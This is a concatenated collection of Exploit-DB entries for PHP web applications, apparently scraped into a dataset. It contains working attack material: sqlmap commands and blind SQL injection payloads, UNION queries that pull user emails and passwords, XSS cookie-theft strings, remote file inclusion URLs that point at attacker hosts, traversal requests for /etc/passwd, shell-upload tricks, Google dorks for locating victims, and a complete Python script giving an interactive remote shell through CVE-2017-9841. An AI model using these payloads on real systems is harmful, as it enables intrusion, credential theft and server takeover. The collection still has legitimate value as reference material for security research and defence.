deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49849
Description: PHP Timeclock 1.04 - Time and Boolean Based Blind SQL Injection
Type: webapps
Platform: php
Date: 2021-05-07
Author: Tyler Butler

Exploit:
# Exploit Title: PHP Timeclock 1.04 - Time and Boolean Based Blind SQL Injection
# Date: 03.05.2021
# Exploit Author: Tyler Butler
# Vendor Homepage: http://timeclock.sourceforge.net
# Software Link: https://sourceforge.net/projects/timeclock/files/PHP%20Timeclock/PHP%20Timeclock%201.04/
# Version: 1.04
# Tested on: PHP 4.4.9/5.3.3 Apache 2.2 MySql 4.1.22/5


Description: PHP Timeclock is vulnerable to both Boolean and Time Based SQL Injection on login.php via the login_userid parameter. This PoC shows how SQLmap can be used to exploit this vulnerability to dump database contents

Boolean Based Payload: user' RLIKE (SELECT (CASE WHEN (8535=8535) THEN 0x75736572 ELSE 0x28 END))-- QwMo&login_password=pass
Time Based Payload: user' AND (SELECT 4247 FROM (SELECT(SLEEP(5)))ztHm) AND 'WHmv'='WHmv&login_password=pass


Steps to reproduce:
  1. Run sqlmap against a instance of PHP Timeclock
  2. Follow the instructions below for specific versions of MySQL


MySQL >= 5.0.12: 

$ sqlmap -u http://localhost/login.php --method POST --data "login_userid=user&login_password=pass" -p login_userid --not-string="Warning" --dbms=MySQL --technique=TB --current-db
---
Parameter: login_userid (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: login_userid=user' AND (SELECT 4247 FROM (SELECT(SLEEP(5)))ztHm) AND 'WHmv'='WHmv&login_password=pass
---


MySQL < 5: On versions using MySQL < 5, table names must be included as arguments as information_schema was not introduced into MySQL yet.

$ sqlmap -u http://localhost/login.php --method POST --data "login_userid=user&login_password=pass" -p login_userid --not-string="Warning" --technique=B -D timeclock -T employees, -C empfullname --dump --dbms=MySQL -v 
---
Parameter: login_userid (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: login_userid=user' RLIKE (SELECT (CASE WHEN (8535=8535) THEN 0x75736572 ELSE 0x28 END))-- QwMo&login_password=pass
---
Exploit-DB #22177
Description: PHP TopSites 2.0/2.2 - 'edit.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-01-15
Author: Cyberarmy Application

Exploit:
source: https://www.securityfocus.com/bid/6625/info

A vulnerability has been discovered in PHP TopSites. Due to insufficient sanitization of user-supplied URI parameters it is possible for an attacker to embed SQL commands into certain page requests. This may result in another users private information being disclose to an attacker.

http://examplewebsite.com/topsitesdirectory/edit.php?a=pre&submit=&sid=siteidnumber--
Exploit-DB #22176
Description: PHP TopSites 2.0/2.2 - 'help.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-01-15
Author: Cyberarmy Application

Exploit:
source: https://www.securityfocus.com/bid/6622/info

A vulnerability has been discovered in PHP TopSites. Due to invalid sanitization of user-supplied input by the 'help.php' script, it may be possible for an attacker to steal another users cookie information or other sensitive data.

This issue can be exploited by constructing a malicious URL containing embedded script code as a 'help.php' parameter. When an unsuspecting user follows the link sensitive information, such as cookie-based authentication credentials may be obtained by the attacker.


http://somewebsitesite/TopSitesdirectory/help.php?sid=<script>alert
(document.cookie)</script>
Exploit-DB #22175
Description: PHP TopSites 2.0/2.2 - HTML Injection
Type: webapps
Platform: php
Date: 2003-01-15
Author: Cyberarmy Application

Exploit:
source: https://www.securityfocus.com/bid/6621/info

An HTML injection vulnerability has been discovered in PHP TopSites. The issue occurs due to insufficient sanitization of user-supplied data. By injecting HTML code into the <body> tag of the description page, when submitting website, it may be possible to cause an administrator to edit or delete database entries.

This issue will occur when an unsuspecting administrator loads the submitted description.

This vulnerability has also been reported to affect the 'edit.php' script.

<body
onLoad= "parent.location='http://www.somewebsite.com/TopSitesdirectory/seditor.php?
sid=siteidnumber&a=delete'">
<body onLoad="window.open('http://attackerswebsite/launcher.htm')">
Exploit-DB #35109
Description: PHP TopSites 2.1 - '/rate.php' Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2010-12-13
Author: c0de Hunters

Exploit:
source: https://www.securityfocus.com/bid/45389/info

PHP TopSites is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP TopSites 2.1 is vulnerable; other versions may also be affected. 

The following example URIs are available:

http://www.example.com/topsites/rate.php?site=-999.9%27%20UNION%20ALL%20SELECT%20%28SELECT%20concat%280x7e,group_concat%28top_user.email,0x7e,top_user.password%29,0x7e%29%20FROM%20%60topfunsites_com_-_topsites%60.top_user%29%20,null%20and%20%27x%27=%27x

http://www.example.com/topsites/rate.php?site="'><script>alert('xss')</script>
Exploit-DB #28791
Description: PHP TopSites FREE 1.022b - 'config.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-12
Author: Le CoPrA

Exploit:
source: https://www.securityfocus.com/bid/20486/info

PHP TopSites is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker can exploit this issue to have malicious PHP code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.022 is affected by this issue; other versions may also be affected.

http://www.example.com/[path]/config.php?fullpath=|SCRIPT-URL|
Exploit-DB #3854
Description: PHP TopTree BBS 2.0.1a - 'right_file' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-04
Author: kezzap66345

Exploit:
##############################################################################################
##############################################################################################
#TopTree <= 2.01a Remote File Inclusion Vulnerability
#
#Dork:"Powered by DVHome.cn"
#
#Vuln Code
###################################################################################
#
#ERROR:templates/default/tpl_message.php
#
# <?php include ($right_file); ?>
#
#BUG:
#
#Example:http://site.com/path/templates/default/tpl_message.php?right_file=[[Sh3LL
Script]]
#
#Script Download
#############################################################################
#http://sourceforge.net/project/showfiles.php?group_id=169574&package_id=193438&release_id=426108
#
#Original W3b
Site############################################################################
#
#http://www.dvhome.cn
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-04]
Exploit-DB #29874
Description: PHP Turbulence 0.0.1 - 'Turbulence.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-20
Author: Omni

Exploit:
source: https://www.securityfocus.com/bid/23580/info

PHP Turbulence is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects PHP Turbulence 0.0.1 alpha; other versions may also be affected. 

http://www.example.com/user/turbulence.php?GLOBALS[tcore]=http://evil_host/evil_script.txt?
Exploit-DB #50702
Description: PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated)
Type: webapps
Platform: php
Date: 2022-02-02
Author: souzo

Exploit:
# Exploit Title: PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2022/01/30 
# Exploit Author: souzo 
# Vendor Homepage: phpunit.de
# Version: 4.8.28
# Tested on: Unit
# CVE : CVE-2017-9841

import requests
from sys import argv
phpfiles = ["/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"]

def check_vuln(site):
    vuln = False
    try:
        for i in phpfiles:
            site = site+i
            req = requests.get(site,headers= {
                "Content-Type" : "text/html",
                "User-Agent" : f"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
            },data="<?php echo md5(phpunit_rce); ?>")
            if "6dd70f[PII_REDACTED]373a337e6708865" in req.text:
                print(f"Vulnerable: {site}")
                return site 
    except:
        return vuln
def help():
    exit(f"{argv[0]} <site>")

def main():
    if len(argv) < 2:
        help()
    if not "http" in argv[1] or not ":" in argv[1] or not "/" in argv[1]:
        help()
    site = argv[1]
    if site.endswith("/"):
        site = list(site)
        site[len(site) -1 ] = ''
        site = ''.join(site)

    pathvuln = check_vuln(site)
    if pathvuln == False:
        exit("Not vuln")
    try:
        while True:
            cmd = input("> ")
            req = requests.get(str(pathvuln),headers={
                "User-Agent" : f"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
                "Content-Type" : "text/html"
            },data=f'<?php system(\'{cmd}\') ?>')
            print(req.text)
    except Exception as ex:
        exit("Error: " + str(ex))
main()
Exploit-DB #10732
Description: PHP upload - 'unijimpe' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-27
Author: wlhaan hacker

Exploit:
                          ||          ||   | ||
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   .
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> team wlhaan hacker                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


_____________________________________________________
PHP upload - unijimpe)  Remote File Upload Vulnerability )

#####################################################
# [+] Author : wlhaan hacker #
# [+] Email : iit@HoTMaiL.coM #
# [+] Site : www.sa-hacker.com/vb #
# [+]  team wlhaan Hacker     #
# [+] Dork : Powered by PHP upload - unijimpe. #
# [+] or dork:"PHP upload - unijimpe"
#####################################################

The exploit :

 http://server/path/upload.php


chaneg shell

shell.php.pbmp

or

shell.php.pjpeg


Get now shell :

http://server/path/files/shell.php.pbmp


and good luck :D

Thanks to : shooq hacker ..

#####################################################
Exploit-DB #26646
Description: PHP Upload Center - 'index.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-11-29
Author: liz0

Exploit:
source: https://www.securityfocus.com/bid/15621/info

PHP Upload Center is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

An attacker can exploit this issue to retrieve arbitrary remote files on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

http://www.example.com/upload/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd
http://www.example.com/instaladores/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #2886
Description: PHP Upload Center 2.0 - 'activate.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-12-03
Author: GregStar

Exploit:
*************************************************************************************************************************
                                                              					          		 
			               			 Coding 4 Fun     						 
			                                      						  		 
*************************************************************************************************************************
													  		 
* Name = PHP Upload Center v2.0 ; 											 
													  		 
* Class = Remote/Local File Inclusion ;											 
															 
* Download = http://skrypty.webpc.pl/pobierz.php?id=58 ;				 			         
													  		 
* Found by = GregStar (gregstar[at]c4f[dot]pl) (http://c4f.pl) ;				          		 
												  	  		 
-------------------------------------------------------------------------------------------------------------------------
													  		 
Vulnerable Code in activate.php												 
															 
line 66-70														 
															 
...															 
															 
 if (!isset($language))													 
  $language=$dft_language;												 
if ($language=="")													 
  $language=$dft_language;												 
require("include/${language}.php"); <== Local incl.								 
															 
...															 
	

line 164

...

include($footerpage);  <== Remote incl.

...


Code in include/en.php (and other language files)

line 5-7

...

$headerpage="include/header.htm";
$footerpage="include/footer.htm"; <==
$infopage="include/info.htm";

...

												  		 
- Ex. :	

  														 
 http://[target]/[path]/activate.php?language=conf&footerpage=http://evil?								 
															 
															 
															 
															 
*************************************************************************************************************************
Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,rfl,d3m0n,java,reyw,kw@ch.	  		 
												          		 
*************************************************************************************************************************

# milw0rm.com [2006-12-03]
Exploit-DB #29072
Description: PHP Upload Tool 1.0 - Arbitrary File Upload / Directory Traversal
Type: webapps
Platform: php
Date: 2006-11-17
Author: Craig Heffner

Exploit:
source: https://www.securityfocus.com/bid/21150/info

PHP Upload Tool is prone to an arbitrary file-upload vulnerability and a directory-traversal vulnerability. These issues occur because the application fails to sanitize user-supplied data.

An attacker could exploit these issues to execute code in the context of the webserver or to download sensitive information that could aid in further attacks.

Version 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/upload/bin/download.php?filename=../conf/users.conf
http://www.example.com/upload/bin/download.php?filename=/etc/passwd
Exploit-DB #10719
Description: PHP Uploader Downloader 2.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================
| # Title    : PHP Uploader Downloader Upload Shell Vulnerability                      |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   :                                                                         |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : Powered by PHP Uploader Downloader Version 2.0 (http://www.zachwhite.com|
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            |
======================      Exploit By indoushka       =================================
| # Exploit  :
|1- http://127.0.0.1/script_3163/updown.php
|
|2- http://127.0.0.1/script_3163/up/
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #10722
Description: PHP Uploader Downloader 2.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : PHP Uploader Downloader Cross Site Scripting Vulnerability              |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by PHP Uploader Downloader Version 2.0 (http://www.zachwhite.com|
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1-http://server/script_3163/updown.php/>'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #38901
Description: PHP Utility Belt - Remote Code Execution
Type: webapps
Platform: php
Date: 2015-12-08
Author: WICS

Exploit:
Exploit Title : PHP utility belt Remote Code Execution vulnerability
Author         : WICS
Date             : 8/12/2015
Software Link  : https://github.com/mboynes/php-utility-belt

Overview:


PHP utility belt is a set of tools for PHP developers. Install in a browser-accessible directory and have at it.
ajax.php is accessible without any authentication 

Vulnerable code (Line number 12 to 15)

if ( isset( $_POST['code'] ) ) {
  if ( false === eval( $_POST['code'] ) )
    echo 'PHP Error encountered, execution halted';
}


POC
Access URL 
http://127.0.0.1/php-utility-belt/ajax.php
in Post data type 
code=fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');

above code will generate info.php file which will display php info
Shell link will be 
http://127.0.0.1/php-utility-belt/info.php
Exploit-DB #12444
Description: PHP Video Battle - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-28
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
            PHP Video Battle SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: April, 29-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: PHP Video Battle
Vendor  	: http://www.rocky.nu/
Price		: $40.00 USD
Google Dork	: © 1998 - 2010 Video Battle Script
Overview	:

Battle of the best youtube videos! 2 videos side by side, choose which 
is the best. Members can join and submit youtube video links.
Very easy to customize HTML system.
----------------------------------------------------------------

Exploit:
~~~~~~~

-9999+union+all+select+1,2,version(),4,5,6--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/browse.html?cat=[SQLi]
http://127.0.0.1/[path]/browse.html?cat=-9999+union+all+select+1,2,version(),4,5,6--
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (baru tau gw ur klo lo ternyata pernah curhat sambil nangis² bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;)
- elicha cristia [ luv You...luv You...luv You... :) ]
- N.O.C & Technical Support @office "except ahong (fuck you off)"
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
	  http://v3n0m.blogdetik.com/
	  http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]--------------------------------